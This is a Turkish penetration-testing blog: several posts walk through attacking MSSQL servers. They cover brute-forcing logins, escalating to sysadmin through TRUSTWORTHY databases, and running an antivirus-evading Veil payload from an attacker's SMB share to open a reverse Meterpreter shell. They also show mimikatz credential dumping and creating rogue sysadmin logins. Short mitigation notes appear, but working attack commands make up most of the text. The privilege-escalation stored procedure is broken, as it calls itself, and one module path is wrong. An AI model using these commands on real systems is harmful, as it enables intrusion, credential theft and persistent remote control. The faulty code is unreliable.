4 Şubat 2015 Çarşamba

MSSQL Veritabanının TRUSTWORTHY Özelliğinin İstismar Edilerek Hak Yükseltilmesi

MSSQL Veritabanının TRUSTWORTHY Özelliğinin İstismar Edilerek Hak Yükseltilmesi


MSSQL veritabanı yönetiminde, bir vertabanı nesnesi, başka bir veritabanının kaynaklarına (ağ paylaşımına, postalarına, prosedürlerine, fonksiyonlarına, nesnelerine,...) erişim sağlayabilir. Bunun için kaynaklara erişecek veritabanının TRUSTWORTHY özelliği etkinleştirilir. TRUSTWORTHY özelliği ON ise CLR kullanan veritabanı nesneleri, MSSQLSERVER servis kullanıcısının yetkileri dahilinde dış kaynaklara ulaşabilir , eğer "OFF" ise, CLR nesneleri, dış bir kaynağa ulaşmaya çalışırsa, hata alırlar. Ayrıca, yazılım geliştirirken Assembly dosyalarını SQL Server içine gömmek gerekebilir. Bu durum için de veri tabanında "db_owner" haklarına sahip olmak, işletim sisteminde SYSTEM yetkilerine sahip olmak veya veri tabanında "sysadmin" rolüne sahip olmak gereklidir.

Eğer MSSQL sunucuda bir veritabanı TRUSTWORTHY olarak ayarlanmış iken, bu veritabanının sahibi yüksek yetkili ise ve SQL Server üzerindeki standart yetkilere sahip bir kullanıcı hesabı (web uygulamasına ait bir veritabanı kullanıcısı gibi) da bu veritabanında tam yetkili ("db_owner" rolüne sahip) ise; standart yetkilere sahip olan hesap, veritabanının sahibinin yetkisi ile komut çalıştırılabilir. Örneğin, MSSQL sunucuda standart haklara sahip bu kullanıcı, kendisine MSSQL sunucusu üzerinde "sysadmin" rolü verebilir. Böylece MSSQL sunucusu üzerinde hak yükseltme işlemi gerçekleştirmiş olur.

Bu yazıda MSSQL veritabanında TRUSTWORTHY özelliği istismar edilerek "test" adlı standart bir veritabanı hesabının hakkı yükseltilecektir. Gerçekleştirilecek hak yükseltme işlemi 3 adımda incelenecektir:
1) "sa" hesabının sahibi olduğu MUSTERILER ve HESAPLAR adlı 2 veritabanı TRUSTWORTHY olarak ayarlanacak ve "test" adlı standart bir veritabanı hesabı MUSTERILER adlı veritabanında  "db_owner" olarak ayarlanacaktır.
2) MSF mssql_payload modülü ile Meterpreter bağlantısı elde edilmediği görülecektir.
3) Hak yükselme işlemi gerçekleştirilecek ve MSF mssql_payload modülü ile Meterpreter bağlantısının elde edilebildiği görülecektir.
4) Zafiyetin önlemleri incelenecektir. 

1) Mevcut Ortamın İncelenmesi

172.22.71.247 IP adresinde bir MSSQL veritabanı bulunmaktadır. Bu veritabanında, "test" adlı bir kullanıcı standart bir veritabanı hesabıdır:


"test" hesabı MUSTERILER veritabanında db_owner rolüne sahiptir:


"sa" hesabı da MUSTERILER veritabanında "db_owner" rolüne sahiptir:


MUSTERILER veritabanının TRUSTWORTHY özelliği aşağıdaki gibi etkinleştirilmiştir:
ALTER DATABASE MUSTERILER SET TRUSTWORTHY ON


Not: Benzer olarak HESAPLAR veritabanının TRUSTWORTHY özelliği de etkinleştirilir.

MUSTERILER veritabanının TRUSTWORTHY özelliği True olarak görüntülenmektedir:


Özetlemek gerekirse, MUSTERILER ve HESAPLAR veritabanları için TRUSTWORTHY etkindir. MUSTERILER veritabanında "sa" ve "test" hesapları, HESAPLAR veritabanında "sa" ve "deneme" hesapları db_owner rolündedir.
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;
GO 
use HESAPLAR
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
GO 
use MUSTERILER
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
GO


2) MSF ile Meterpreter Kabuğunun Elde Edilmeye Çalışılması

"test" hesabının kimlik bilgileri ile erişim sağlanabildiği hydra aracı ile aşağıdaki gibi tespit edilebilmektedir:
hydra mssql://172.22.71.247:1433 -L /root/Desktop/kullanicilar -P /root/Desktop/parolalar -o /root/Desktop/hydra_sonuclar


Ancak MSF mssql_payload modülü ile erişim sağlanamamaktadir. Modül seçenekleri aşağıdaki gibi ayarlanmıştır:
show options


MSF mssql_payload modülünün çalıştırılma sonucu başarısız olmuştur:
run


Meterpreter bağlantısının elde edilememesinin sebebi, "test" hesabının yetkisinin olmamasıdır.
Not: MSSQL sunucuda xp_cmdshell etkindir. Ancak yetersiz yetkiler sebebiyle komut satırı elde edilememiştir.

3) Hak Yükseltme İşleminin Gerçekleştirilmesi

"test" hesabının kimlik bilgileri ile hak yükseltilmesi 3 yöntem incelenecektir. Hak yükseltme işlemi için; MSF modülü, Stored Procedure veya Powershell betiği kullanılabilir.

i) MSF mssql_escalate_dbowner Modülü ile

MSF mssql_escalate_dbowner modülünün seçenekleri aşağıdaki gibidir:
search mssql_escalate_dbowner
use auxiliary/admin/mssql/mssql_escalate_dbowner
show options


Modül seçenekleri aşağıdaki gibi ayarlanabilir ve modül çalıştırılabilir:
set RHOST 172.22.71.247
set USERNAME test
set PASSWORD test
show options
run


Modül çalıştırıldıktan sonra, kontrol için MSF mssql_payload modülü çalıştırıldığında modülün başarılı bir şekilde çalıştığı görülmektedir:
use exploit/windows/mssql/mssql_payload
show options
run


Böylece MSSQLSERVER servisinin yetkileri ile Meterpreter bağlantısının açıldığı görülmektedir:
getuid
ifconfig


ii) Stored Procedure ile

Hak yükseltme işlemi, MSSQL Management Studio üzerinde komut çalıştırarak da gerçekleştirilebilir. Bu amaçla, MUSTERILER veritabanının altında bir Storede Procedure oluşturulabilir. Bu Stored Procedure, "test" hesabına sysadmin rolünü verecek şekilde hazırlanabilir. Daha sonra da, Stored Procedure ilgili veritabanı sahibinin ("sysadmin" rolündeki "sa" hesabının) hakkı ile çalıştırılabilir.

SELECT is_srvrolemember('sysadmin')
GO 
USE MUSTERILER
GO 
CREATE PROCEDURE sysadmin_rolune_ekle WITH EXECUTE AS OWNER AS EXEC sysadmin_rolune_ekle 'test','sysadmin'
GO 
SELECT is_srvrolemember('sysadmin')
GO


Böylece, "test" hesabı "sysadmin" rolüne sahip olmuştur.

iii) Powershell Betiği ile

Hak yükseltme işlemi için bağlantıdaki Powershell modülü de kullanılabilir. Modülün eklenmesi ve hak yükseltme işleminin gerçekleştirilmesi aşağıdaki gibidir:
Set-ExecutionPolicy Unrestricted
Import-Module  .\Invoke-SqlServer-Elevate-Dbowner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser test -SqlPass test -SqlServerInstance test

Böylece hak yükseltme işlemi gerçekleştirilmiştir.

4) Önlemler

Belirtilen hak yükseltme zafiyetinden korunmak için, TRUSTWORTHY özelliği etkin olan ve sahibi "sysadmin" rolünde olan veritabanları tespit edilmeli, sonra da veritabanlarından bu özellik devre dışı bırakılmalıdır. Bu amaçla aşağıdaki komutlar kullanılabilir.
SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'
GO 
ALTER DATABASE MUSTERILER SET TRUSTWORTHY OFF
GO 
ALTER DATABASE HESAPLAR SET TRUSTWORTHY OFF
GO


Kaynak:
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

28 Ocak 2015 Çarşamba

MSF web_delivery Modülü İle Antivirüslere Yakalanmadan Meterpreter Erişimi Elde Edilmesi

Sızma testleri sırasında antivirüslerin atlatılarak hedef sistemin ele geçirilmesi kritik bir aşamadır. Bu yazıda, MSF web_delivery istismar modülü kullanılarak Powershell tabanlı bir payload hazırlanacak ve hedef bilgisayarda Powershell komutu çalıtırılarak Meterpreter kabuğu elde edilecektir.

Yazının devamı için bakınız:
http://www.siberportal.org/red-team/anti-virus-evasion-techniques/acquiring-meterpreter-shell-by-using-msf-web-delivery-exploit-module/

19 Ocak 2015 Pazartesi

MSSQL Veritabanı Hesabının Tespit Edilmesi ve Meterpreter Bağlantısının Elde Edilmesi

MSSQL Veritabanı Hesabının Tespit Edilmesi ve Meterpreter Bağlantısının Elde Edilmesi


MSSQL veritabanı sızma testlerindeki ilk adımlardan birisi MSSQL yüklü sunucudaki yetkili hesapların kimlik bilgilerini öğrenmektir. Bu yazıda 172.22.71.247 IP adresli makinede yetkili bir hesabın kimlik bilgisi elde edilecek ve bu bilgilerle işletim sistemi üzerinde kd çalıştırılacak ve meterpreter bağlantısı elde edilecektir. Bu işlemler 3 adımda incelenecektir.
1) MSSQL sunucunun IP adresi tespit edilecektir.
2) Veritabanı üzerinde yetkili bir hesabın kimlik bilgileri, farklı araçlarla (hydra aracı, nmap aracı, MSF mssql_login modülü) kaba kuvvet saldırıları ile elde edilecektir.
3) Elde edilen kimlik bilgilerini kullanarak NMAP ms-sql-xp-cmdshell betiği ile işletim sisteminde komut çalıştırılacak ve MSF mssql_payload modülü ile Meterpreter bağlantısı elde edilecektir.

1) MSSQL Sunucunun Tespiti

MSSQL sunucusunun Ip adresini tespit etmek için en temel yöntem 1433 portu açık olan bilgisayarları taramaktır:
nmap 172.22.71.0/24 -sS -Pn -n --open -p 1433


Diğer yöntemler sonraki yazılarda incelenecektir.

2) MSSQL Erişim Bilgilerinin Elde Edilmesi

MSSQL veritabanına erişim sağlayabilecek hesaba ait kimlik bilgilerini elde edebilmek için root hesabının masaüstünde "kullanicilar" ve "parolalar" adlı 2 dosya oluşturulmuştur. Bu dosya içerisindeki bilgiler kullanılarak, farklı yöntemlerle MSSQL sunucuya kaba kuvvet saldırısı düzenlenecektir.


i) Medusa aracı

Medusa aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir:
medusa -h 172.22.71.247 -U /root/Desktop/kullanicilar -P /root/Desktop/parolalar -O /root/Desktop/medusa_sonuclar -M mssql -n 1433


Tarama sonucu root hesabının masaüstüne medusa_sonuclar olarak kaydedilmiştir:


Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına "test" kullancı adı ve "test/4?3!gM#stJ#3;4@nYe" parolası ile giriş yapılabilir.

ii) Hydra aracı

Hydra aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir. Tarama sonucu root hesabının masaüstüne hydra_sonuclar olarak kaydedilmiştir::
hydra mssql://172.22.71.247:1433 -L /root/Desktop/kullanicilar -P /root/Desktop/parolalar -o /root/Desktop/hydra_sonuclar



Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına "test" kullancı adı ve "test" parolası ile giriş yapılabilir.

Not: Hydra aracını diğer araçlara göre en hızlı yöntem olduğu söylenebilir.

iii) Nmap aracı

Nmap aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir. Tarama sonucu root hesabının masaüstüne nmap_sonuclar olarak kaydedilmiştir:
nmap 172.22.71.247 -p1433 --script ms-sql-brute --script-args userdb=/root/Desktop/kullanicilar,passdb=/root/Desktop/parolalar -oN /root/Desktop/hydra_sonuclar


Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına "test" kullancı adı ve "test" parolası ile giriş yapılabilir.


iv) MSF mssql_login modülü

MSF mssql_login auxiliary modülünü kullanarak kaba kuvvet saldırısı gerçekleştirilebilir. Modülün seçenekleri aşağıdaki gibidir:
search mssql_login
use auxiliary/scanner/mssql/mssql_login
show options


Modülün seçenekleri aşağıdaki gibi ayarlanabilir ve modül başlatılabilir:
set RHOSTS 172.22.71.247
set USER_FILE /root/Desktop/kullanicilar
set PASS_FILE /root/Desktop/parolalar
show options
run


Tarama sonucu aşağıdaki gibidir:

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına "test" kullanıcı adı ve "test" parolası ile giriş yapılabilir.

İpucu: Kaba kuvvet sırasında başarılı oturum bilgisi elde edildikten sonra, oturumun sonlanması isteniyorsa, STOP_ON_SUCCESS seçeneği true olarak ayarlanabilir.


3) Komut Satırında Komut Çalıştırma ve Meterpreter Bağlantısı Elde Etme

Elde edilen kimlik bilgileri ile (test/test) MSSQL veritabanına giriş için Nmap betikleri ve MSF mssql_payload istismar modülü kullanılabilir.

i) Nmap aracı

Nmap aracını kullanarak işletim sistemi seviyesinde komut çalıştırılması aşağıdaki gibi gerçekleştirilebilir:
nmap 172.22.71.247 -p1433 --script ms-sql-xp-cmdshell --script-args=mssql.username=test,mssql.password=test,ms-sql-xp-cmdshell.cmd='whoami && net user'

Yukarıdaki ekran görüntüsünde 2 adet komut ("whoami" ve "net user") çalıştırılmıştır. Bunun yerine bağlantıdaki mssql_exec modülündeki gibi paylaşımdaki zararlı bir yazılım çalıştırılabilir (start \\172.22.71.5\paylasim$\Zararli1.exe) ve bekleyen multi/handler tarafından bu talep yakalanabilir.

ii) MSF mssql_payload modülü

MSF mssql_payload istismar modülünü kullanarak hedef sisteme Meterpreter ile bağlantı kurulabilir. Modülün seçenekleri aşağıdaki gibidir:
search mssql_payload
use exploit/scanner/mssql/mssql_payload
show options


Modülün seçenekleri aşağıdaki gibi ayarlanabilir ve modül başlatılabilir:
set RHOST 172.22.71.247
set USERNAME test
set PASSWORD test
show options
run


Modül çalıştıktan sonra MSSQLSERVER servisinin yetkileri ile Meterpreter bağlantısının açıldıüı görülmektedir:
getuid
background
sessions




12 Ocak 2015 Pazartesi

MSF mssql_exec & Veil: MSSQL Hesabı ile Antivirüslere Yakalanmadan Meterpreter Kabuğu Elde Etme

MSF mssql_exec & Veil: MSSQL Hesabı ile Antivirüslere Yakalanmadan Meterpreter Kabuğu Elde Etme


Sızma testlerinde MSSQL üzerinde yetkili bir hesaba ait kimlik bilgileri tespit edildiği halde işletim sistemine erişim sağlanamayabilmekte veya meterpreter ile erişim sağlama ihtiyacı duyulabilmektedir. Bu yazıda MSSQL sunucu üzerinde sysadmin rolüne (veya işletim sistemi üzerinde komut çalıştırabilecek yetkilere) sahip olan bir hesaba ait bağlantı bilgileri kullanarak MSF mssql_exec modülü yardımıyla meterpreter bağlantısı elde edilecektir.

Yazıda kullanılacak Kali bilgisayarın IP'si 172.22.71.5, SQL sunucusunun IP'si ise 172.22.71.247 olarak ayarlanmıştır. Ayrıca SQL sunucuda güncel durumda olan ve kurumlarda da kullanılan bir antivirüs kuruludur.

Yazı 4 başlıktan oluşacaktır.
1) Saldırgan makinesinde kurban makinenin erişebileceği bir paylaşım açılacaktır.
2) Antivirüslere yakalanmayan ve Meterpreter bağlantısı sağlayacak bir uygulama hazırlanarak saldırgan makinesindeki paylaşıma kaydedilecektir.
3) MSF multi/handler modülü ile Meterpreter bağlantısı dinlenecektir.
4) MSF "mssql_exec" modülü kullanılarak kurban makinede saldırgan makine paylaşımındaki uygulama çalıştırılacak, Kali makinedeki listener ile bağlantı elde edilecektir. Böylece kurban bilgisayarına Meterpreter ile ters bir bağlantı sağlanmış olacaktır.

1) Kali Üzerinde Paylaşımın Açılması

Öncelikle paylasima açılacak ve zararlı uygulamanın konulacağı dizin (/root/veil-output/compiled/ dizini) önceden oluşturulmamışsa oluşturulmalı ve Everyone için tam yetki verilmelidir:
mkdir -p /root/veil-output/compiled/
chmod 777 /root/veil-output/compiled/


Daha sonra, /etc/samba/smb.conf dosyasına aşağıdaki ifadeler eklenir. Böylece ağ erişimi olan bir Windows makinede "\\172.22.71.5\paylasim$" komutu çalıştırılınca, Kali makinenin "/root/veil-output/compiled/" dizinine erişim sağlanmış olacaktır.
[paylasim$]
   comment = Sizma testleri icin hazirlanmistir.
   path = /root/veil-output/compiled/
   browseable = yes
   guest ok = yes
   read only = yes
   public = yes
   writable = yes


Gerekli konfigürasyon yapıldıktan sonra, Kali üzerindeki "samba" servisi başlatılır.
service samba start


2) Meterpreter Oluşturacak Zararlı Uygulamanın Hazırlanması

Kurbana ait Windows bilgisayar ile saldırgana ait Kali bilgisayar arasında meterpreter bağlantısını oluşturacak zararlı uygulama Antivirüsler tarafından tespit edilmeyecek şekilde ayarlanmaldır. Bu uygulamanın hazırlanması için Veil kullanılabilir. Bu uygulamanın Veil kullanılarak hazırlanması ile ilgili ayrıntılı bilgi için bakınız. Hazırlanan uygulama varsayılan olarak "/root/veil-output/compiled/" dizini altına atılmaktadır. Bu sebeple, oluşturulan dosyanın paylaşıma taşınmasına gerek yoktur.


Böylece /root/veil-output/compiled/ dizininde Zararli1.exe adli uygulama oluşmuştur.



Diğer antivirüs atlatma teknikleri için bakınız.


3) Kali Üzerinde Bağlantının Beklenmesi

İstismar işlemi sırasında çalışacak zararlı uygulama bir Meterpreter bağlantısı oluşturacaktır. Bu bağlantının Kali üzerinde elde edilebilmesi için bir listener bağlantısı aşağıdaki gibi kurulabilir:
use exploit/multi/handler
show options
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 172.22.71.5
set LPORT 443
set ExitOnSession false
exploit -j


Böylelikle 443. porta gelen "reverse_https" bağlantısı yakalanabilecektir.

4) Paylaşımdaki Zararlı Uygulamanın Çalıştırılması ve Meterpreter Bağlantısının Elde Edilmesi

MSSQL uygulamasında sysadmin rolüne sahip olan bir hesaba ait kullanıcı hesap bilgileri bilindiğinde hedef bilgisayarda komut çalıştırma işlemi gerçekleştirilebilmektedir. Bu amaçla, MSF mssql_exec modülü kullanılacaktır. Bu modül ile ilgili ayrıntılı bilgi aşağıdaki gibidir:
search mssql_exec
use auxiliary/admin/mssql/mssql_exec
show options


MSSQL uygulamasında sysadmin rolüne sahip hesabın adı "sa", parolası ise "s93v43jd5" olarak elde edildiği varsayılırsa, aşağıdaki seçenekle modül ayarlanabilir ve modül çalıştırılabilir:
set CMD start \\\\172.22.71.5\\paylasim$\\Zararli1.exe
set RHOST 172.22.71.247
set PASSWORD s93v43jd5
show options
run



Modül çalıştırıldığında, Kali paylaşımındaki uygulama (\\172.22.71.5\paylasim$\Zararli1.exe) çalıştırılacak ve daha önceden bekleyen multi/handler modülü tarafından yakalanacaktır:



Böylece Kali bilgisayarın diskinde bulunan zararlı yazılım, Windows makinenin diskine kaydedilmeden, Windows bilgisayarın belleğinde (RAM) çalışacaktır. Sonuçta da ters bir HTTPS bağlantı talebi olacak, Kali üzerindeki dinleyici tarafından yakalanmıştır. Ayrıca yukarıdaki ekran görüntüsünde de görüldüğü gibi MSSQLSERVER servisini çalıştıran hesabın yetkileri ile Meterpreter bağlantısı elde edilmiştir. Eğer MSSQLSERVER servisi SYSTEM yetkileri ile çalışmış olsaydı, SYSTEM yetkileri elde edilirdi. Bunun yanında "sa" hesabı yerine, işletim sisteminde kod çalıştırma yetkisi olan başka bir hesap da kullanılabilirdi. Bu sebeple, gereksiz kullanıcı hesaplarının ve yetkilerinin kaldırılması, mevcut parolaların oldukça karmaşık olması tavsiye edilmektedir.

5 Ocak 2015 Pazartesi

MS SQL Yüklü İşletim Sisteminde Veritabanına Erişimin Elde Edilmesi

MS SQL Yüklü İşletim Sisteminde Veritabanına Erişimin Elde Edilmesi


Sızma testlerinde MSSQL yüklü bilgisayarda yerel yönetici hakkına sahip olduktan sonra, veritabanına direk olarak erişime sahip olunmayabilmektedir. Bu yazıda, MSSQL sunucu bilgisayarda yerel yönetici iken, uygulamaya giriş yapabilmek için gerçekleştirilebilecek farklı yöntemler incelenecektir. Belirtilecek işlemler 5 ana başlıkta incelenebilir:
1) İşletim sistemindeki yerel kullanıcıların parolaları değiştirilerek
2) Servisi çalıştıran hesabın parolası elde edilerek
3) İşletim sistemindeki belli bir yerel gruba üye olunarak
4) Windows sqlcmd aracıyla yeni bir hesap oluşturarak
5) MSF mssql_local_auth_bypass post exploit modülü ile

Yukarıda belirtilen işlemler, aşağıdaki 3 durum mevcut iken gerçekleştirilmiştir:
  • SQL sunucunun Mixed moddadır:


  • Saldırgan, işletim sistemine Hacked adlı yerel bir yönetici ile erişim sağlamıştır:


  • Hacked hesabı ile MSSQL uygulamasına erişim sağlanamamaktadır:


MSSQL sunucu bilgisayarda yerel yönetici iken, uygulamaya giriş yapabilmek için gerçekleştirilebilecek 5 yöntem aşağıdaki gibidir:

1) Kullanıcı Hesapları ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra tüm kullanıcıların parolası değiştirilebilir.
net user
net user Birkan Bb123456


Benzer olarak MSSQL sunucusu etki alanına dahil ise ve Domain Admin yetkilerine sahip olunduysa; iş tanımında, adında, departmanında,... veritabanı ile ilgili bilgi geçen hesapların parolaları da değiştirilerek, bu sunucuda oturum açılabilir ve veritabanına erişim sağlanıp sağlanmadığı kontrol edilebilir.

Sızma testleri sırasında bu şekilde bir değişiklik yapılması uygun değildir. Parolası değiştirilen kullanıcı hesapların parolaları bazı uygulamalarda, betiklerde, servislerde ... kullanılıyor olabilir, sonuç olarak da parola değişikliği sürekliliği ve erişebilirliği bozabilir.


2) MSSQLSERVER Servisi Hesabı ile

MS SQL Server 2012 öncesinde sunucu varsayılan olarak SYSTEM haklarıyla çalışır. Ancak MSSQLSERVER servisi kullanıcı hakları ile de çalışabilir.


Bu durumda, servis hesabının parolası elde edilebilir. Parolanın elde edilmesi için Mimikatzi WCE gibi araçlar kullanılabilir. Ayrıntılı bilgi için bakınız.
mimikatz
privilege::debug
sekurlsa::wdigest

Yukarıda 2 adet kimlik bilgisi (Hacked/Hh123456 ve SqlAjani/Ss123456) elde edilmiştir. Hacked hesabı, saldırganın sahibi olduğu hesap, SqlAjani hesabı ise MSSQLSERVER servisinin çalıştığı kullanıcı hesabıdır. Eğer MSSQLSERVER servisi, Domain Admins grubu üyelerinden biri ise veya etki alanında yüksek yetkili (etki alanına kullanıcı ekleme, etki alanındaki kullanıcının grubuna değiştirebilme,... gibi yetkiler) ise, MSSQL sunucusunu ele geçiren saldırgan, tüm etki alanına dahil olan sistemlerde yetki sahibi olabilir. Bu sebeple, MSSQLSERVER (ve diğer) servislerin sadece gerekli yetkilere sahip hesaplar ile çalıştırılması tavsiye edilmektedir.

Not: Kritik sistemlerde Mimikatz / WCE gibi araçların direk olarak çalıştırılmaması, LSASS.exe prosesinin dump dosyasının sanal bir makinede çalıştırılması tavsiye edilmektedir. Ayrıntılı bilgi için bakınız.


3) Gruplar ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra, mevcut hesap veritabanı ile ilişkili yerel gruplara eklenebilir.
net localgroup
net localgroup "SQL Yoneticileri" Hacked /add

Mevcut hesap, yerel gruplara eklendikten ve oturum yeniden açıldıktan sonra, MSSQL sunucuya giriş sağlanabilir.

Benzer olarak MSSQL sunucusu etki alanına dahil ise ve Domain Admin yetkilerine sahip olunduysa; tanımında, adında... veritabanı ile ilgili bilgi geçen gruba da üye olunduktan sonra, bu sunucuda oturum açılabilir ve veritabanına erişim sağlanıp sağlanmadığı kontrol edilebilir.


4) Sqlcmd Aracı ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra, MS Psexec aracıyla SYSTEM yetkisine sahip olanabilir.
psexec /s cmd

SYSTEM haklarına geçildikten sonra da sqlcmd aracı kullanılarak Sysadmin rolüne sahip bir hesap oluşturulabilir.
sqlcmd -S localhost
USE [master]
GO
CREATE LOGIN [sa_hacked] WITH PASSWORD=N'Hh123456'
GO
EXEC master..sp_addsrvrolemember @loginame = N'sa_hacked', @rolename = N'sysadmin'
GO


Böylece, sa_hacked adlı sysadmin rolüne sahip hesap ile oturum açılabilir.



5) MSF mssql_local_auth_bypass ile

Yerel yönetici bilgileri ile MSF psexec gibi bir modül ile Meterpreter kabuğu elde edildikten sonra, MSF mssql_local_auth_bypass post exploitation modülü ile veritabanında tam yetkiye sahip olunabilir.

MSF psexec modülü ile meterpreter aşağıdaki gibi elde edilebilir:
use exploit/windows/smb/psexec
set RHOST 172.22.71.247
set SMBUSER Hacked
set SMBPASS Hh123456
exploit
getuid


Not: Meterpreter kabuğundan Windows cmd kabuğuna geçiş yaptıktan sonra - aşağıda incelenecek olan MSF modülünü kullanmadan - bir önceki başlıkta bahsedilen sqlcmd aracını kullanarak da sysadmin rolü elde edilebilir.

MSF mssql_local_auth_bypass post exploitation modülü aşağıdaki gibidir:
background
search mssql_local_auth_bypass
use post/windows/manage/mssql_local_auth_bypass
show options


Post modül aşağıdaki gibi ayarlanabilir ve çalıştırılabilir:
set DB_USERNAME yeni_sa
set DB_PASSWORD yeni_sa_Mssql123
set SESSION 1
run


Böylece, yeni_sa adlı sysadmin rolüne sahip hesap ile oturum açılabilir.


Veritabanında işlemler gerçekleştirildikten sonra oluşturulan hesabın (yeni_sa) silinmesi gerekmektedir. Silme işlemi Microsoft SQL Server Management Studio konsolundan gerçekleştirilebileceği gibi, MSF mssql_local_auth_bypass post exploitation modülündeki REMOVE_LOGIN seçeneğini "true" olarak değiştirilmesiyle aşağıdaki gibi de gerçekleştirilebilir:
use post/windows/manage/mssql_local_auth_bypass
set DB_USERNAME yeni_sa
set DB_PASSWORD RastgeleParola
set SESSION 1
set REMOVE_LOGIN true
run